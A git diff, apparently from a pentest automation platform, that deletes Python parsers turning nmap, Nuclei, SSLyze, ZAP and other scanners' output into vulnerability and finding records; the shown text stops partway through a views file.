get_smb_technology(self, technologies: Dict[str, Technology]) -> Union[Technology, None]: - '''Get Technology related to SMB protocol. - - Args: - technologies (Dict[str, Technology]): Technologies found in this host - - Returns: - Union[Technology, None]: Technology related to SMB service if found - ''' - if 'microsoft-ds' in technologies: - return technologies['microsoft-ds'] - return None - - def parse_vulners_nse(self, script: Any, technology: Union[Technology, None]) -> None: - '''Create Vulnerabilities with CVE reported by NSE script vulners. - - Args: - script (Any): NSE script output - technology (Union[Technology, None]): Technology associated to the NSE scripts execution - ''' - created = set() - cves: List[str] = re.findall(CVE_REGEX, script.get('output', '')) # Search CVE patterns in vulners output - for cve in cves: # For each CVE - if cve not in created: # Check if CVE has been used before - created.add(cve) - # Create Vulnerability - self.create_finding(Vulnerability, technology=technology, name=cve, cve=cve) - - def create_ftp_anonymous(self, script: Any, technology: Union[Technology, None]) -> None: - '''Create FTP anonymous Vulnerability reported by NSE script ftp-anon. - - Args: - script (Any): NSE script output - technology (Union[Technology, None]): Technology associated to the NSE scripts execution - ''' - self.create_finding( - Vulnerability, - technology=technology, - name='Anonymous FTP', - description='Anonymous login is allowed in FTP', - severity=Severity.CRITICAL, - cwe='CWE-287', # CWE-287: Improper Authentication - reference='https://book.hacktricks.xyz/pentesting/pentesting-ftp#anonymous-login' - ) - - def create_ftp_proftpd_backdoor(self, script: Any, technology: Union[Technology, None]) -> None: - '''Create backdoor Vulnerability reported by NSE script ftp-proftpd-backdoor. - - Args: - script (Any): NSE script output - technology (Union[Technology, None]): Technology associated to the NSE scripts execution - ''' - self.create_finding( - Vulnerability, - technology=technology, - name='FTP Backdoor', - description='FTP ProFTPD 1.3.3c Backdoor', - severity=Severity.CRITICAL, - # CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - cwe='CWE-78', - osvdb='OSVDB-69562' - ) - - def create_cve_2011_2523(self, script: Any, technology: Union[Technology, None]) -> None: - '''Create Vulnerability CVE-2011-2523 reported by NSE script ftp-vsftpd-backdoor. - - Args: - script (Any): NSE script output - technology (Union[Technology, None]): Technology associated to the NSE scripts execution - ''' - self.create_finding(Vulnerability, technology=technology, name='vsFTPd Backdoor', cve='CVE-2011-2523') - - def create_cve_2010_1938(self, script: Any, technology: Union[Technology, None]) -> None: - '''Create Vulnerability CVE-2010-1938 reported by NSE script ftp-libopie. - - Args: - script (Any): NSE script output - technology (Union[Technology, None]): Technology associated to the NSE scripts execution - ''' - self.create_finding( - Vulnerability, - technology=technology, - name='OPIE off-by-one stack overflow', - cve='CVE-2010-1938' - ) - - def create_cve_2010_4221(self, script: Any, technology: Union[Technology, None]) -> None: - '''Create Vulnerability CVE-2010-4221 reported by NSE script ftp-vuln-cve2010-4221. - - Args: - script (Any): NSE script output - technology (Union[Technology, None]): Technology associated to the NSE scripts execution - ''' - self.create_finding( - Vulnerability, - technology=technology, - name='ProFTPD server TELNET IAC stack overflow', - cve='CVE-2010-4221' - ) - - def create_cve_2017_7494(self, script: Any, technology: Union[Technology, None]) -> None: - '''Create Vulnerability CVE-2017-7494 reported by NSE script smb-vuln-cve-2017-7494. - - Args: - script (Any): NSE script output - technology (Union[Technology, None]): Technology associated to the NSE scripts execution - ''' - self.create_finding( - Vulnerability, - technology=technology, - name='SAMBA Remote Code Execution from Writable Share', - cve='CVE-2017-7494' - ) - - def create_cve_2018_15442(self, script: Any, technology: Union[Technology, None]) -> None: - '''Create Vulnerability CVE-2018-15442 reported by NSE script smb-vuln-webexec. - - Args: - script (Any): NSE script output - technology (Union[Technology, None]): Technology associated to the NSE scripts execution - ''' - self.create_finding( - Vulnerability, - technology=technology, - name='Remote Code Execution vulnerability in WebExService', - cve='CVE-2018-15442' - ) - - def create_smb_double_pulsar_backdoor(self, script: Any, technology: Union[Technology, None]) -> None: - '''Create backdoor Vulnerability reported by NSE script smb-double-pulsar-backdoor. - - Args: - script (Any): NSE script output - technology (Union[Technology, None]): Technology associated to the NSE scripts execution - ''' - self.create_finding( - Vulnerability, - technology=technology, - name='SMB Server DOUBLEPULSAR Backdoor', - description=( - 'NNM detected the presence of DOUBLEPULSAR on the remote Windows host. DOUBLEPULSAR is one of ' - 'multiple Equation Group SMB implants and backdoors disclosed on 2017/04/14 by a group known as ' - "the 'Shadow Brokers'. The implant allows an unauthenticated, remote attacker to use SMB as a " - 'covert channel to exfiltrate data, launch remote commands, or execute arbitrary code.' - ), - severity=Severity.CRITICAL, - # CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - cwe='CWE-78', - reference='https://www.tenable.com/plugins/nnm/700059' - ) - - def parse_smb_shares(self, script: Any, technology: Union[Technology, None]) -> None: - '''Parse findings reported by NSE script smb-enum-shares. - - Args: - script (Any): NSE script output - technology (Union[Technology, None]): Technology associated to the NSE scripts execution - ''' - for share, fields in script.get('elements', {}).items(): - if 'account_used' not in share: - path = share - if '\\' in path: - path = path.rsplit('\\', 1)[1] # Remove host information - anonymous = fields.get("Anonymous access") - self.create_finding( # Create share finding - Path, - port=technology.port if technology else None, - path=path, - extra=( - f'{fields.get("Comment") or ""} ' - f'Type: {fields.get("Type")} ' - f'Anonymous access: {anonymous} ' - f'Current access: {fields.get("Current user access")}' - ).strip(), - type=PathType.SHARE - ) - if 'READ' in anonymous or 'WRITE' in anonymous: - self.create_finding( - Vulnerability, - technology=technology, - name='Anonymous SMB', - description=f'Anonymous access is allowed to the SMB share {path}', - severity=Severity.CRITICAL if 'WRITE' in anonymous else Severity.HIGH, - cwe='CWE-287' # CWE-287: Improper Authentication - ) - - def parse_smb_users(self, script: Any, technology: Union[Technology, None]) -> None: - '''Parse findings reported by NSE script smb-enum-users. - - Args: - script (Any): NSE script output - technology (Union[Technology, None]): Technology associated to the NSE scripts execution - ''' - for line in script.get('output').split('\n'): - data = line.strip() - if data and ' (RID:' in data: - self.create_finding( - Credential, - technology=technology, - username=data.split(' (RID:', 1)[0], - context='SMB user' - ) - - def parse_smb_protocols(self, script: Any, technology: Union[Technology, None]) -> None: - '''Parse findings reported by NSE script smb-enum-shares. - - Args: - script (Any): NSE script output - technology (Union[Technology, None]): Technology associated to the NSE scripts execution - ''' - if technology: - protocols = [] - for protocol in script.get('elements', {}).get('dialects', {}).get(None): - protocols.append( - protocol if '[dangerous' not in protocol else protocol.split('[dangerous', 1)[0].strip() - ) - technology.description = f'Protocols: {", ".join(protocols)}' - technology.save(update_fields=['description']) - - def parse_nse_scripts( - self, - scripts_results: Any, - technology: Union[Technology, None], - technologies: Dict[str, Technology] - ) -> None: - '''Parse NSE scripts reports. - - Args: - scripts_results (Any): NSE scripts reports obtained from nmap parser - technology (Union[Technology, None]): Technology associated to the NSE scripts execution - technologies (Dict[str, Technology]): Technologies found in this host. Only used when technology is None - ''' - smb_technology = technology if technology else self.get_smb_technology(technologies) # Get SMB technology - # Mapping between NSE script names and parsers - parsers: Dict[str, Tuple[Callable, Union[Technology, None]]] = { - 'vulners': (self.parse_vulners_nse, technology), - 'ftp-anon': (self.create_ftp_anonymous, technology), - 'ftp-proftpd-backdoor': (self.create_ftp_proftpd_backdoor, technology), - 'ftp-vsftpd-backdoor': (self.create_cve_2011_2523, technology), - 'ftp-libopie': (self.create_cve_2010_1938, technology), - 'ftp-vuln-cve2010-4221': (self.create_cve_2010_4221, technology), - 'smb-double-pulsar-backdoor': (self.create_smb_double_pulsar_backdoor, smb_technology), - 'smb-vuln-webexec': (self.create_cve_2018_15442, smb_technology), - 'smb-vuln-cve-2017-7494': (self.create_cve_2017_7494, smb_technology), - 'smb2-vuln-uptime': (self.parse_vulners_nse, smb_technology), - 'smb-vuln-ms06-025': (self.parse_vulners_nse, smb_technology), - 'smb-vuln-ms07-029': (self.parse_vulners_nse, smb_technology), - 'smb-vuln-ms10-061': (self.parse_vulners_nse, smb_technology), - 'smb-vuln-ms17-010': (self.parse_vulners_nse, smb_technology), - 'smb-enum-users': (self.parse_smb_users, smb_technology), - 'smb-enum-shares': (self.parse_smb_shares, smb_technology), - 'smb-protocols': (self.parse_smb_protocols, smb_technology), - } - for script in scripts_results: # For each NSE script - if script.get('id') in parsers: # Script Id found - parser, tech = parsers[script.get('id')] - parser(script, tech) # Process NSE result - else: - self.parse_vulners_nse(script, technology) # By default, search CVEs - - def select_os_detection(self, os_detection: Any) -> Tuple[str, OSType]: - '''Select OS detection based on its accuracy. - - Args: - os_detection (Any): OS detection obtained from nmap parser - - Returns: - Tuple[str, OSType]: Selected OS detection text and type - ''' - os_text = '' # Initialize selection - os_type = OSType.OTHER - if os_detection: # If OS detection exists - selected_os = None # Initialize selected OS and accuracy - accuracy = 0 - for o in os_detection: # For each OS detection - # If his accuracy is greater than the selected one - if o.accuracy > accuracy: - selected_os = o # Select OS detection - os_text = o.name # Save OS name - accuracy = o.accuracy # Update selected accuracy - if selected_os: - accuracy = 0 # Reset accuracy to 0 - for c in selected_os.osclasses: # For each OS class - # If his accuracy is greater than the selected one - if c.accuracy > accuracy: - try: - os_type = cast(TextChoices, OSType)[c.osfamily.upper()] # Get OS type based on OS family - except KeyError: - os_type = OSType.OTHER # By default, get OTHER OS type - accuracy = o.accuracy # Update selected accuracy - return os_text, cast(OSType, os_type) - - def parse_output_file(self) -> None: - '''Parse tool output file to create finding entities.''' - report = NmapParser.parse_fromfile(self.path_output) # Parse nmap report - for h in report.hosts: # For each host - if not h.is_up(): # Host is down - continue - # Get OS information based on OS detection accuracy - os_text, os_type = self.select_os_detection(h.os_match_probabilities()) - host = self.create_finding(Host, address=h.address, os=os_text, os_type=os_type) # Create host - technology = None - technologies = {} - for s in h.services: # For each service - port = self.create_finding( # Create Port - Port, - host=host, - port=s.port, - status=cast(TextChoices, PortStatus)[s.state.upper()], - protocol=cast(TextChoices, Protocol)[s.protocol.upper()], - service=s.service - ) - if 'product' in s.service_dict and 'version' in s.service_dict: # If service details found - technology = self.create_finding( # Create technology - Technology, - port=port, - name=s.service_dict['product'], - version=s.service_dict['version'] - ) - technologies[s.service] = technology - if s.scripts_results: # If results from NSE scripts found - # Parse NSE scripts results - self.parse_nse_scripts(s.scripts_results, technology, technologies) - if h.scripts_results: - self.parse_nse_scripts(h.scripts_results, technology if len(h.services) == 1 else None, technologies) diff --git a/src/backend/tools/tools/nuclei.py b/src/backend/tools/tools/nuclei.py deleted file mode 100644 index 9dcdba709..000000000 --- a/src/backend/tools/tools/nuclei.py +++ /dev/null @@ -1,53 +0,0 @@ -import json -from typing import Dict, cast - -from findings.enums import Severity -from findings.models import Credential, Technology, Vulnerability - -from tools.tools.base_tool import BaseTool - - -class Nuclei(BaseTool): - '''Nuclei tool class.''' - - def parse_output_file(self) -> None: - '''Parse tool output file to create finding entities.''' - with open(self.path_output, 'r', encoding='utf-8') as output_file: - report = [json.loads(line) for line in output_file if line] # Read output file - for item in report: - name = item.get('info', {}).get('name') - extracted_results = item.get('extracted-results', []) - if extracted_results: - name = f'{name}: {extracted_results[0]}' - elif item.get('matcher-name'): - name = f'{name}: {item.get("matcher-name")}' - description = item.get('info', {}).get('description') - reference = item.get('info', {}).get('reference', []) - tags = item.get('info', {}).get('tags', []) or [] - if 'tech' in tags: # Finding is technology - self.create_finding( - Technology, - name=name, - description=description.strip() if description else None, - reference=reference[0] if reference else None - ) - elif 'default-login' in tags and item.get('meta'): # Finding is credential - self.create_finding( - Credential, - username=item.get('meta', {}).get('username'), - secret=item.get('meta', {}).get('password'), - context=name - ) - else: # Finding is vulnerability - severity = item.get('info', {}).get('severity') - cve = item.get('info', {}).get('classification', {}).get('cve-id') - cwe = item.get('info', {}).get('classification', {}).get('cwe-id', []) - self.create_finding( - Vulnerability, - name=name.strip(), - description=description.strip() if description else None, - severity=cast(Dict[str, str], Severity)[severity.upper()] if severity else Severity.INFO, - cve=cve.upper() if cve else None, - cwe=cwe[0].upper() if cwe else None, - reference=reference[0] if reference else None - ) diff --git a/src/backend/tools/tools/searchsploit.py b/src/backend/tools/tools/searchsploit.py deleted file mode 100644 index f16f234ab..000000000 --- a/src/backend/tools/tools/searchsploit.py +++ /dev/null @@ -1,21 +0,0 @@ -import json - -from findings.models import Exploit -from tools.tools.base_tool import BaseTool - - -class Searchsploit(BaseTool): - '''SearchSploit tool class.''' - - def parse_output_file(self) -> None: - '''Parse tool output file to create finding entities.''' - with open(self.path_output, 'r', encoding='utf-8') as output_file: - data = json.load(output_file) # Read output file - for exploit in data.get('RESULTS_EXPLOIT'): # For each exploit - edb_id = exploit.get('EDB-ID') # Get Exploit-DB Id - self.create_finding( # Create exploit finding - Exploit, - title=exploit.get('Title'), - edb_id=int(edb_id) if edb_id else None, - reference=f'https://www.exploit-db.com/exploits/{edb_id}' if edb_id else None - ) diff --git a/src/backend/tools/tools/smbmap.py b/src/backend/tools/tools/smbmap.py deleted file mode 100644 index 9826e1723..000000000 --- a/src/backend/tools/tools/smbmap.py +++ /dev/null @@ -1,24 +0,0 @@ -from findings.enums import PathType -from findings.models import Path -from tools.tools.base_tool import BaseTool - - -class Smbmap(BaseTool): - '''Smbmap tool class.''' - - def parse_plain_output(self, output: str) -> None: - '''Parse tool plain output to create finding entities. This should be implemented by child tool classes. - - Args: - output (str): Plain tool output - ''' - for line in output.split('\n'): # Get output by lines - data = line.strip() - if data and ('READ' in data or 'WRITE' in data or 'NO ACCESS' in data): # Share entry - share = [i.strip() for i in data.split(' ') if i.strip()] # Get fields: disk, permissions, comment - self.create_finding( - Path, - path=share[0], # Disk - extra=f'[{share[1]}] {share[2]}' if len(share) >= 3 else share[1], # Details - type=PathType.SHARE - ) diff --git a/src/backend/tools/tools/spring4shell_scan.py b/src/backend/tools/tools/spring4shell_scan.py deleted file mode 100644 index 718aac035..000000000 --- a/src/backend/tools/tools/spring4shell_scan.py +++ /dev/null @@ -1,26 +0,0 @@ -import os - -from findings.models import Vulnerability -from rekono.settings import TOOLS - -from tools.tools.base_tool import BaseTool - - -class Spring4shellscan(BaseTool): - '''Spring4Shell Scan tool class.''' - - # Indicate the script path to execute - script = os.path.join(TOOLS['spring4shell-scan']['directory'], 'spring4shell-scan.py') - - def parse_plain_output(self, output: str) -> None: - '''Parse tool plain output to create finding entities. This should be implemented by child tool classes. - - Args: - output (str): Plain tool output - ''' - for search, name, cve in [ - ('[!!!] Target Affected (CVE-2022-22963)', 'Spring Cloud RCE', 'CVE-2022-22963'), - ('[!!!] Target Affected (CVE-2022-22965)', 'Spring4Shell RCE', 'CVE-2022-22965'), - ]: - if search in output: - self.create_finding(Vulnerability, name=name, cve=cve) diff --git a/src/backend/tools/tools/ssh_audit.py b/src/backend/tools/tools/ssh_audit.py deleted file mode 100644 index c234706e2..000000000 --- a/src/backend/tools/tools/ssh_audit.py +++ /dev/null @@ -1,56 +0,0 @@ -from typing import Any, Dict - -from findings.enums import Severity -from findings.models import Technology, Vulnerability -from tools.tools.base_tool import BaseTool - - -class Sshaudit(BaseTool): - '''SSH Audit tool class.''' - - # Exit code ignored because SSH Audit fails when find vulnerabilities - ignore_exit_code = True - - def parse_plain_output(self, output: str) -> None: - '''Parse tool plain output to create finding entities. This should be implemented by child tool classes. - - Args: - output (str): Plain tool output - ''' - algorithms_mapping: Dict[str, Any] = { - 'kex': {'name': 'key exchange', 'algorithms': []}, - 'key': {'name': 'host key', 'algorithms': []}, - 'enc': {'name': 'encryption', 'algorithms': []}, - 'mac': {'name': 'MAC', 'algorithms': []} - } - technology = None - for line in output.split('\n'): # Get output by lines - data = line.strip() - if '(gen) software: ' in data: # SSH version - aux = data.split('(gen) software: ', 1)[1].split(' ', 1) - technology = self.create_finding(Technology, name=aux[0], version=aux[1].split(' [', 1)[0]) - elif '(cve) ' in data: # CVE found - aux = data.split('(cve) ', 1)[1].split(' ', 1) - self.create_finding( - Vulnerability, - name=aux[1].split(') ', 1)[1].split(' [', 1)[0].capitalize(), - cve=aux[0] - ) - else: - for topic in algorithms_mapping.keys(): # For each algorithm type - if f'({topic}) ' in data and '[fail]' in data: # Insecure algorithm found - algorithm = data.split(f'({topic}) ', 1)[1].split(' ', 1)[0] - if algorithm not in algorithms_mapping[topic]['algorithms']: - algorithms_mapping[topic]['algorithms'].append(algorithm) - break - for details in algorithms_mapping.values(): # For each algorithm type - if len(details['algorithms']) > 0: # With insecure algorithms - self.create_finding( - Vulnerability, - technology=technology, # Related to SSH technology - name=f'Insecure {details["name"]} algorithms', - description=', '.join(details['algorithms']), - severity=Severity.LOW, - # CWE-326: Inadequate Encryption Strength - cwe='CWE-326' - ) diff --git a/src/backend/tools/tools/sslscan.py b/src/backend/tools/tools/sslscan.py deleted file mode 100644 index 6c2e1ef72..000000000 --- a/src/backend/tools/tools/sslscan.py +++ /dev/null @@ -1,98 +0,0 @@ -from typing import List, Union - -import defusedxml.ElementTree as parser -from findings.enums import Severity -from findings.models import Technology, Vulnerability -from tools.tools.base_tool import BaseTool - - -class Sslscan(BaseTool): - '''Sslscan tool class.''' - - def get_technology(self, technologies: List[Technology], sslversion: str) -> Union[Technology, None]: - '''Select Technology from technology list based on protocol and version. - - Args: - technologies (List[Technology]): Technology list - sslversion (str): Protocol and version in format [protocol]v[version] - - Returns: - Union[Technology, None]: Selected Technology from list - ''' - select = [tech for tech in technologies if f'{tech.name}v{tech.version}' == sslversion] - return select[0] if select else None - - def parse_output_file(self) -> None: - '''Parse tool output file to create finding entities.''' - technologies: List[Technology] = [] - try: - root = parser.parse(self.path_output).getroot() # Report root - except parser.ParseError: - return - tests = root.findall('ssltest') # Get test - for test in tests: # For each test - for item in test: # For each item - if item.tag == 'protocol' and item.attrib['enabled'] == '1': # If item is an enabled protocol - technology = self.create_finding( # Create Technology - Technology, - name=item.attrib['type'].upper(), - version=item.attrib['version'] - ) - technologies.append(technology) # Save Technology in list - if ( - # Insecure TLS version - (item.attrib['type'] == 'tls' and item.attrib['version'] not in ['1.2', '1.3']) or - item.attrib['type'] == 'ssl' # Insecure SSL protocol - ): - desc = '{protocol} {version} is supported'.format( # Vulnerability description - protocol=item.attrib["type"].upper(), - version=item.attrib["version"] - ) - self.create_finding( # Create Vulnerability - Vulnerability, - technology=technology, # Related to current protocol Technology - name=f'Insecure {item.attrib["type"].upper()} version supported', - description=desc, - severity=Severity.MEDIUM if item.attrib['type'] == 'tls' else Severity.HIGH, - # CWE-326: Inadequate Encryption Strength - cwe='CWE-326' - ) - elif item.tag == 'renegotiation' and item.attrib['supported'] == '1' and item.attrib['secure'] != '1': - # If it is vulnerable to Insecure Renegotiation - self.create_finding( - Vulnerability, - name='Insecure TLS renegotiation supported', - description='Insecure TLS renegotiation supported', - severity=Severity.MEDIUM, - # CWE CATEGORY: Permissions, Privileges, and Access Controls - cwe='CWE-264' - ) - elif item.tag == 'heartbleed' and item.attrib['vulnerable'] == '1': - # If it is vulnerable to Heartbleed - # Create Vulnerability with CVE-2014-0160 - self.create_finding( - Vulnerability, - # Get technology based on protocol and version (sslversion field) - technology=self.get_technology(technologies, item.attrib['sslversion']), - name=f'Heartbleed in {item.attrib["sslversion"]}', - cve='CVE-2014-0160', - ) - elif item.tag == 'cipher' and item.attrib['strength'] not in ['acceptable', 'strong']: - # Insecure cipher suite supported - # Vulnerability description - desc = '{version} {cipher} status={status} strength={strength}'.format( - version=item.attrib["sslversion"], - cipher=item.attrib["cipher"], - status=item.attrib["status"], - strength=item.attrib["strength"] - ) - self.create_finding( # Create Vulnerability - Vulnerability, - # Get technology based on protocol and version (sslversion field) - technology=self.get_technology(technologies, item.attrib['sslversion']), - name='Insecure cipher suite supported', - description=desc, - severity=Severity.LOW, - # CWE-326: Inadequate Encryption Strength - cwe='CWE-326' - ) diff --git a/src/backend/tools/tools/sslyze.py b/src/backend/tools/tools/sslyze.py deleted file mode 100644 index f506cf8d9..000000000 --- a/src/backend/tools/tools/sslyze.py +++ /dev/null @@ -1,145 +0,0 @@ -import json -from typing import Any, Dict, List, Union - -from django.db.models import Model -from findings.enums import Severity -from findings.models import Finding, Technology, Vulnerability -from tools.tools.base_tool import BaseTool - - -class Sslyze(BaseTool): - '''SSLyze tool class.''' - - # Exit code ignored because SSLyze can "fail" when find vulnerabilities - ignore_exit_code = True - tls_versions = [ # SSL and TLS versions - ('ssl', '2.0'), ('ssl', '3.0'), ('tls', '1.0'), ('tls', '1.1'), ('tls', '1.2'), ('tls', '1.3') - ] - generic_tech: Union[Technology, None] = None - - def create_finding(self, finding_type: Model, **fields: Any) -> Finding: - '''Create finding from fields. - - Args: - finding_type (Model): Finding model - - Returns: - Finding: Created finding entity - ''' - if 'technology' in fields and not fields.get('technology'): - # Create generic TLS Technology if needed - self.generic_tech = super().create_finding(Technology, name='Generic TLS') - fields['technology'] = self.generic_tech - return super().create_finding(finding_type, **fields) - - def analyze_cipher_suites(self, cipher_suites: List[Dict[str, Any]], technology: Technology) -> None: - '''Get supported RC4 cipher suites. - - Args: - cipher_suites (List[Dict[str, Any]]): Accepted cipher suites - technology (Technology): Technology related to the protocol - ''' - for cs in cipher_suites: - if '_RC4_' in cs['cipher_suite']['name']: - self.create_finding( # Create Vulnerability - Vulnerability, - technology=technology, # Related to protocol Technology - name='Insecure cipher suite supported', - description=f'TLS {technology.version} {cs["cipher_suite"]["name"]}', - severity=Severity.LOW, - # CWE-326: Inadequate Encryption Strength - cwe='CWE-326' - ) - - def analyze_protocols(self, data: dict) -> None: - '''Analyze protocol based on his version and supported cipher suites. - - Args: - data (dict): Original SSLyze data - ''' - for protocol, version in self.tls_versions: # For each protocol and version - cipher_suites = data[f'{protocol.lower()}_{version.replace(".", "_")}_cipher_suites']['result']['accepted_cipher_suites'] # noqa: E501 - if cipher_suites: - # Create Technology associated to the protocol and related to generic TLS Technology - technology = self.create_finding( - Technology, - name=protocol.upper(), - version=version, - related_to=self.generic_tech - ) - if protocol.lower() != 'tls' or version not in ['1.2', '1.3']: # SSL protocol or insecure TLS version - self.create_finding( # Create Vulnerability - Vulnerability, - technology=technology, # Related to protocol Technology - name=f'Insecure {protocol.upper()} version supported', - description=f'{protocol.upper()} {version} is supported', - severity=Severity.MEDIUM if protocol.upper() == 'TLS' else Severity.HIGH, - # CWE-326: Inadequate Encryption Strength - cwe='CWE-326' - ) - if protocol.lower() == 'tls': - self.analyze_cipher_suites(cipher_suites, technology) # Search supported weak cipher suites - - def parse_output_file(self) -> None: - '''Parse tool output file to create finding entities.''' - with open(self.path_output, 'r', encoding='utf-8') as output_file: - report = json.load(output_file) # Read output file - report = report.get('server_scan_results', []) # Get scan results - for item in report or []: # For item in report - r = item['scan_commands_results'] if 'scan_commands_results' in item else item['scan_result'] - if not r: - continue - if r['heartbleed']['result']['is_vulnerable_to_heartbleed']: # If it is vulnerable to Heartbleed - # Create Vulnerability with CVE-2014-0160 - self.create_finding(Vulnerability, technology=self.generic_tech, name='Heartbleed', cve='CVE-2014-0160') - if r['openssl_ccs_injection']['result']['is_vulnerable_to_ccs_injection']: - # If it is vulnerable to CCS injection - # Create Vulnerability with CVE-2014-0224 - self.create_finding( - Vulnerability, - technology=self.generic_tech, - name='OpenSSL CSS Injection', - cve='CVE-2014-0224' - ) - if r['robot']['result']['robot_result'] in ['VULNERABLE_STRONG_ORACLE', 'VULNERABLE_WEAK_ORACLE']: - # If it is vulnerable to ROBOT - self.create_finding( # Create Vulnerability - Vulnerability, - technology=self.generic_tech, # Related to generic TLS Technology - name='ROBOT', - description='Return Of the Bleichenbacher Oracle Threat', - severity=Severity.MEDIUM, - cwe='CWE-203', # CWE-203: Observable Discrepancy - reference='https://www.robotattack.org/' - ) - if ( - not r['session_renegotiation']['result']['supports_secure_renegotiation'] or - r['session_renegotiation']['result']['is_vulnerable_to_client_renegotiation_dos'] - ): - # If it is vulnerable to Insecure Renegotiation - self.create_finding( # Create Vulnerability - Vulnerability, - technology=self.generic_tech, # Related to generic TLS Technology - name='Insecure TLS renegotiation supported', - description='Insecure TLS renegotiation supported', - severity=Severity.MEDIUM, - # CWE CATEGORY: Permissions, Privileges, and Access Controls - cwe='CWE-264' - ) - if r['tls_compression']['result']['supports_compression']: # If it is vulnerable to CRIME - # Create Vulnerability with CVE-2012-4929 - self.create_finding(Vulnerability, technology=self.generic_tech, name='CRIME', cve='CVE-2012-4929') - self.analyze_protocols(r) # Analyze protocol and version - # For each certificate information - for deploy in r['certificate_info']['result']['certificate_deployments'] or []: - if not deploy['leaf_certificate_subject_matches_hostname']: - # If certificate subject doesn't match hostname - self.create_finding( # Create vulnerability - Vulnerability, - technology=self.generic_tech, # Related to generic TLS Technology - name='Certificate subject error', - description="Certificate subject doesn't match hostname", - severity=Severity.INFO, - # CWE-295: Improper Certificate Validation - cwe='CWE-295' - ) diff --git a/src/backend/tools/tools/theharvester.py b/src/backend/tools/tools/theharvester.py deleted file mode 100644 index 4462128ea..000000000 --- a/src/backend/tools/tools/theharvester.py +++ /dev/null @@ -1,34 +0,0 @@ -import json - -from findings.enums import DataType -from findings.models import OSINT - -from tools.tools.base_tool import BaseTool - - -class Theharvester(BaseTool): - '''theHarvester tool class.''' - - # Mapping between theHarvester types and OSINT data types - data_types = [ - ('ips', DataType.IP), - ('hosts', DataType.DOMAIN), - ('vhosts', DataType.VHOST), - ('urls', DataType.URL), - ('trello_urls', DataType.URL), - ('interesting_urls', DataType.URL), - ('emails', DataType.EMAIL), - ('linkedin_links', DataType.LINK), - ('asns', DataType.ASN), - ('twitter_people', DataType.USER), - ('linkedin_people', DataType.USER) - ] - - def parse_output_file(self) -> None: - '''Parse tool output file to create finding entities.''' - with open(self.path_output, 'r', encoding='utf-8') as output_file: - data = json.load(output_file) # Read output file - for the_harvester_type, rekono_type in self.data_types: # For each data type - if the_harvester_type in data: # If theHarvester type in report data - for item in data[the_harvester_type]: # For item associated to this type - self.create_finding(OSINT, data=item, data_type=rekono_type) # Create OSINT finding diff --git a/src/backend/tools/tools/zap.py b/src/backend/tools/tools/zap.py deleted file mode 100644 index c8a2a86c9..000000000 --- a/src/backend/tools/tools/zap.py +++ /dev/null @@ -1,77 +0,0 @@ -from html import unescape - -import defusedxml.ElementTree as parser -from findings.enums import PathType, Severity -from findings.models import Path, Vulnerability -from tools.tools.base_tool import BaseTool - - -class Zap(BaseTool): - '''OWASP ZAP tool class.''' - - # Mapping between OWASP ZAP severity values and Rekono severity values - severity_mapping = { - 0: Severity.INFO, - 1: Severity.LOW, - 2: Severity.MEDIUM, - 3: Severity.HIGH - } - - def clean_value(self, value: str) -> str: - '''Clean report values before use it. - - Args: - value (str): Original value - - Returns: - str: Clean value - ''' - value = unescape(value) - return value.replace('

', '').replace('

', '') - - def clean_reference(self, value: str) -> str: - '''Clean reference values because it can contains multiples links. - - Args: - value (str): Original value - - Returns: - str: Clean reference value - ''' - if '

' in value: - value = value.split('

', 1)[0] # If multiples links, get the first one - return self.clean_value(value) - - def parse_output_file(self) -> None: - '''Parse tool output file to create finding entities.''' - http_endpoints = set(['/']) # HTTP endpoints set - root = parser.parse(self.path_output).getroot() # Report root - for site in root: # For each site - url_base = site.attrib['name'] # Get target URL - for alert in site.findall('alerts/alertitem'): # For each alert - name = alert.findtext('alert') # Get alert data - description = alert.findtext('desc') or '' - severity = alert.findtext('riskcode') - cwe = alert.findtext("cweid") - reference = alert.findtext('reference') - instances = alert.findall('instances/instance') # Get instances - if instances: - description += '\n\nLocation:\n' - for instance in instances or []: # For each instance - url = instance.findtext('uri') # Get URL - description += f'[{instance.findtext("method")}] {url}\n' - if url: - http_endpoint = url.replace(url_base, '') # Get HTTP endpoint - if http_endpoint and http_endpoint not in http_endpoints: # If it's a new endpoint - http_endpoints.add(http_endpoint) # Add endpoint to HTTP endpoints set - # Create Path - self.create_finding(Path, path=http_endpoint, type=PathType.ENDPOINT) - if name: # If alert name exists - self.create_finding( # Create Vulnerability - Vulnerability, - name=self.clean_value(name), - description=self.clean_value(description) if description else self.clean_value(name), - severity=self.severity_mapping[int(severity)] if severity else Severity.MEDIUM, - cwe=f'CWE-{cwe}' if cwe else None, - reference=self.clean_reference(reference) if reference else None - ) diff --git a/src/backend/tools/urls.py b/src/backend/tools/urls.py deleted file mode 100644 index c055343fe..000000000 --- a/src/backend/tools/urls.py +++ /dev/null @@ -1,10 +0,0 @@ -from rest_framework.routers import SimpleRouter -from tools.views import ConfigurationViewSet, ToolViewSet - -# Register your views here. - -router = SimpleRouter() -router.register('tools', ToolViewSet) -router.register('configurations', ConfigurationViewSet) - -urlpatterns = router.urls diff --git a/src/backend/tools/utils.py b/src/backend/tools/utils.py deleted file mode 100644 index 0e933e8ea..000000000 --- a/src/backend/tools/utils.py +++ /dev/null @@ -1,22 +0,0 @@ -import importlib -from typing import Any - - -def get_tool_class_by_name(name: str) -> Any: - '''Get tool class by tool name. - - Args: - name (str): Tool name - - Returns: - Any: Tool class - ''' - try: - # nosemgrep: python.lang.security.audit.non-literal-import.non-literal-import - tools_module = importlib.import_module(f'tools.tools.{name.lower().replace(" ", "_")}') # Import tool module - # Get tool class - tool_class = getattr(tools_module, name[0].upper() + name[1:].lower().replace(' ', '')) - except (AttributeError, ModuleNotFoundError): # Error during import - tools_module = importlib.import_module('tools.tools.base_tool') # Get base tool module - tool_class = getattr(tools_module, 'BaseTool') # Get base tool class - return tool_class diff --git a/src/backend/tools/views.py b/src/backend/tools/views.py deleted file mode 100644 index a3b80371e..000000000 --- a/src/backend/tools/views.py +++ /dev/null @@ -1,43 +0,0 @@ -from django.db.models import Min, QuerySet -from likes.views import LikeManagementView -from rest_framework.mixins import ListModelMixin, RetrieveModelMixin -from rest_framework.permissions import DjangoModelPermissions, IsAuthenticated -from rest_framework.viewsets import GenericViewSet - -from tools.filters import ConfigurationFilter, ToolFilter -from tools.models import Configuration, Tool -from tools.serializers import ConfigurationSerializer, ToolSerializer - -# Create your views here. - - -class ToolViewSet(LikeManagementView, ListModelMixin, RetrieveModelMixin): - '''Tool ViewSet that 